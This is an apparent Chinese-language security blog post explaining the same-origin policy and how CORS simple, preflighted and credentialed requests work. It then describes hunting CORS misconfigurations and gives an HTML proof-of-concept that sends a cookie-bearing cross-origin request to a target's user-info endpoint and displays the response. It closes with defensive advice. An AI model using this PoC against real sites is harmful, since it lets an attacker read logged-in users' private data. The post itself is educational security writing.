PRELOADER

当前文章 : 《对CORS的深入理解》

8/20/2019 —— 

前言

周末在翻笔记的时候遇到了一些关于CORS的知识点,关于这块内容其实还是有很多以前自己没注意到的细节,于是整理起来后便有了这篇笔记,重新总结了下CORS相关的内容。

1.先从同源策略说起

1.1什么是同源策略

源,就是主机、协议、端口名的一个三元组。

同源策略(Same Origin Policy)即我们所说的SOP,一种web应用程序的安全模型,它控制了网页中DOM之间的访问。

2.1 如何判断同源策略

定义:给定一个页面,如果另一个页面使用的协议、端口、主机名都相同,我们则认为两个页面具有相同的源。

举个栗子,我们假设需要比对的目标页面来自这个URI: http://lyn.vint.com/archives/index.html

url 是否同源 备注
http://lyn.vint.com/collect/index.html
https://lyn.vint.com/archives/index.html 协议不同
http://lyn.vint.com:81/archives/index.html 端口不同
<http://new.vint.com/archives/index.html host不同

同源策略允许运行在页面的脚本可以无限制的访问同一个网站(同源)中其他脚本的任何方法和属性。

当不同网站页面(非同源)的脚本试图去互相访问的时候,大多数的方法和属性都是被禁止的。

简单来说,就是同源策略可以使得浏览器拒绝加载非同源的资源,对于防范恶意页面是一种很好的防御机制。

在了解了浏览器的同源策略后,我们可以知道,浏览器会根据同源策略只允许加载同个源上的资源,同时拒绝加载不同源上的资源。

但是这样就出现了一个问题,就是现在我们的网站通常会将静态文件(css,js,图片)等放置在CDN或者其他服务器上,而CDN跟网站的当前域肯定是不同的,但是却可以加载成功,这不是违背了同源策略了吗?这时就到我们的CORS登场了。(规避浏览器同源策略的方法有很多,这里仅介绍CORS)

2.关于CORS

2.1什么是CORS

CORS全称Cross-origin Resource Sharing,翻译过来就是跨域资源共享。

跨域资源共享(CORS) 是一种机制,它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

简单来说,其实CORS就是一种可以放宽浏览器同源策略的机制,可以通过浏览器让不同的网站和不同的服务器之间通信。

2.2什么情况下需要CORS?

其实上面已经提到一些了,这里再做一下总结。

  • 前文提到的由 XMLHttpRequestFetch 发起的跨域 HTTP 请求。

  • Web字体 (CSS 中通过@font-face使用跨域字体资源)

  • WebGL贴图
  • 使用 drawImage 将 Images/video 画面绘制到 canvas
  • 样式表(使用 CSSOM

2.3功能概述

跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(尤其是除了 GET 、head等类似简单请求以外的 HTTP 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

这一段可能看起来有点绕,下面我们将一一阐述。

2.4工作原理

CORS这种机制通过在http头部添加特定的字段和值,让客户端确定是否有资格跨域访问资源。

下面我们假设一个情景,以便我们更好的理解CORS。

假设我们访问a.com,然而a.com想从一个共有数据平台b.com中返回一些数据,那么在页面逻辑中,其可以通过下面的代码向b.com发送数据请求:

function retrieveData() {
     var request = new XMLHttpRequest();
     request.open('GET', 'http://b.com/someData', true);
     request.onreadystatechange = handler;
     request.send();
}

浏览器在运行这段代码后,将会向b.com发送如下的请求

 GET /someData/ HTTP/1.1
 Host: b.com
 ......
 Referer: http://a.com/somePage.html
 Origin: http://a.com

而支持CORS协议的b.com服务器可能会给出下面的响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/xml
......

[Payload Here]

使用 origin 和Access-Control-Allow-Origin就可以完成最简单的访问控制。 我们再重点说下这个响应头Access-Control-Allow-Origin,该响应头用来记录可以访问该资源的域。在接收到服务端响应后,浏览器将会查看响应中是否包含Access-Control-Allow-Origin响应头。如果该响应头存在,那么浏览器会分析该响应头中所标示的内容。如果其包含了当前页面所在的域,那么浏览器就将知道这是一个被允许的跨域访问,从而不再根据同源策略来限制用户对该数据的访问。

在本例中,服务端返回的是Access-Control-Allow-Origin: *表明,该资源可以被任意外域访问。

如果服务端仅允许来自a.com的访问,则该首部字段的内容如下:

Access-Control-Allow-Origin: http://a.example

是不是很简单?这里就已经初步解释了CORS是如何规避同源策略实现跨域资源共享。

接着继续深入,其实CORS总共可以分为三种,首先是第一种,Simple Request,这里我们称之为简单请求,即我们上面提到的例子;第二种是Preflighted Request,预检请求;最后一种,Requests with Credential,附带身份凭证的请求。

  • 简单请求(Simple Request)

简单请求类型是在三种请求类型里面最简单的,就是我们刚才所假设的那种情景。

下面再具体说下如何辨别简单请求类型:

如果一个请求没有包含任何自定义请求头,而且它所使用HTTP动词是GET,HEAD或POST之一,那么它就是一个简单请求。但是在使用POST作为请求的动词时,该请求的Content-Type的值需要是application/x-www-form-urlencoded,multipart/form-data或text/plain之一,而不能为其他内容。

  • 预检请求(Preflighted Request)

我们再假设一个情景,a.com要向公有数据平台b.com写入一些数据,那么我就需要发送一个POST请求,假设页面代码如下:

function sendData() {
    var request = new XMLHttpRequest(),
        payload = ......;
    request.open('POST', 'http://b.com/someData', true);
    request.setRequestHeader('X-CUSTOM-HEADER', 'custom_header_value');
    request.onreadystatechange = handler;
    request.send(payload);
}

在执行了该段代码后,浏览器首先发出的请求如下所示:

OPTIONS /someData/ HTTP/1.1
Host: b.com
 ......
Origin: http://a.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-CUSTOM-HEADER

可以看到,我们首先发送的并不是POST请求,而是OPTION请求。该请求还通过Access-Control-Request-Method以及Access-Control-Request-Headers标示了请求类型以及请求中所包含的自定义HTTP Header。实际上,它相当于向服务端询问访问资源的权限:“你好,我想向你这里发送数据,你看可以吗?”。而在真正访问资源前发送一个请求进行探测也是该请求类型被称为是预检请求(Preflight Request)的原因。

接着往下,在服务端看到该OPTIONS请求后,其将分析该请求中的内容并返回一个响应,以通知浏览器是否允许向它发送数据:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://a.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-CUSTOM_HEADER
Access-Control-Max-Age: 1728000
......

浏览器分析了该响应后了解到其被允许向服务器发送POST请求后,才会向b.com发送真正的POST请求

POST /someData/ HTTP/1.1
Host: b.com
X-CUSTOM-HEADER: custom_header_value 
......

[Payload Here]

最后b.com才接收并处理该请求:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://a.com
Content-Type: application/xml
......

[Payload Here]
  • 附带身份凭证的请求(Requests with Credential)

这种请求的运行流程则和前两种请求类似。只不过在发送请求的时候,需要将用户凭证包含在请求中。

一般而言,对于跨域请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置XMLHttpRequest的某个特殊标志位。

继续再假设一个情景,a.com的某脚本向b.com发起一个GET请求,并设置cookies,脚本代码如下:

var invocation = new XMLHttpRequest();
var url = 'http://b.com/somedata/';

function callOtherDomain(){
  if(invocation) {
    invocation.open('GET', url, true);
    invocation.withCredentials = true;
    invocation.onreadystatechange = handler;
    invocation.send(); 
  }
}

这里的第7行将XMLHttpRequest的withCredentials标志设置为true,从而向b.com发送cookies。

浏览器执行代码后,发送如下请求:

 GET /someData/ HTTP/1.1
 Host: b.com
 ......
 Referer: http://a.com/somePage.html
 Origin: http://a.com
 Cookie: admin=1

因为是GET请求,所以浏览器不糊对其发起“预检请求”,服务器b.com对该请求进行验证成功后处理该请求:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://a.com
Access-Control-Allow-Credentials: true
......

[Payload Here]

这里有个特别值得注意的地方,就是Access-Control-Allow-Credentials: true(第3行),如返回的响应头里缺失该字段和值的话,那么这个响应内容就会被浏览器所拦截,不会返回给调用者。

另外,对于这种附带身份凭证的请求,由于需要对身份进行验证,所以服务器不能够设置 Access-Control-Allow-Origin 的值为“*”。例如,刚才的情景中,如果b.com设置 Access-Control-Allow-Origin 的值为“*”的话,GET请求就不会请求成功了。只有Access-Control-Allow-Origin设置为a.com请求才能成功执行。

3.CORS漏洞的挖掘

3.1 漏洞怎么产生

上面我们已经知道了,对于附带身份凭证的请求(Requests with Credential),客户端需要携带cookies请求,而服务器需要对请求进行身份验证,只有身份验证成功了之后才能请求成功,也就是说,并不是所有人都能对服务器请求成功,所以当然也就不能把Access-Control-Allow-Origin设置为*了。但是,现实中,比如说b.com服务器,不可能只有a.com去请求资源,总不能把Access-Control-Allow-Origin只设置为a.com吧?这样的话就只有a.com才能向b.com请求成功了。

针对这种情况,CORS机制建议,可以简单的利用空格来分隔多个源,比如:

Access-Control-Allow-Origin: https://a.com https://aaa.com

然而,没有浏览器支持这样的语法,当前浏览器只支持Access-Control-Allow-Origin: *,或者单个域,例如Access-Control-Allow-Origin: https://a.com 这种配置格式。

由于存在这些限制,于是,有些服务器都是以编程的方式根据用户请求头中的Origin头部的值来生成“Access-Control-Allow-Origin”头部的值,甚至有些服务器直接配置Access-Control-Allow-Origin: null,虽说这样就绕过以上提到的限制,但也正是因为如此才产生了很多安全问题,这样配置就相当于对用户的请求来源没有进行验证,攻击者就能通过类似CSRF的攻击手法,来泄露用户的隐私数据和敏感数据。

3.2 漏洞复现

先说下burp中简单的检测cors漏洞的方法

简单说下,其实就是在每个请求包的请求头里自动加上“Origin: vint123.com”,然后在响应头里去匹配“Access-Control-Allow-Origin: vint123.com,方便我们更快地找到漏洞点进行测试。
这里我也测了一个互联网公司的站点,找到了一个真实案例
该漏洞已提交还没修复,为了不影响到该公司,所以打码有点严重。

这里我用本地模拟攻击者服务器,构造好poc后浏览器扮演受害者的身份(后面附上poc),在登录该站点的情况下带着cookie访问构造好的tes.html,浏览器成功执行了poc里面的js代码,弹出了受害者的隐私信息。

构造的poc:

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/userinfo/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

</body>
</html>

4.关于防御

1.首先,最关键的就是对请求包的”origin”的值进行校验。检查origin的值是不是一个可信源,还有检查是不是为null。
2.不要配置”Access-Control-Allow-Origin”的值为通配符”*”。
3.避免使用”Access-Control-Allow-Origin:true”
4.减少”Access-Control-Allow-Methods”所允许的方法

参考链接:

https://lightless.me/archives/review-SOP.html

https://blog.csdn.net/jkx1132/article/details/78012696

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

https://xz.aliyun.com/t/2745

https://blog.csdn.net/niexinming/article/details/84674235

https://www.cnblogs.com/loveis715/p/4592246.html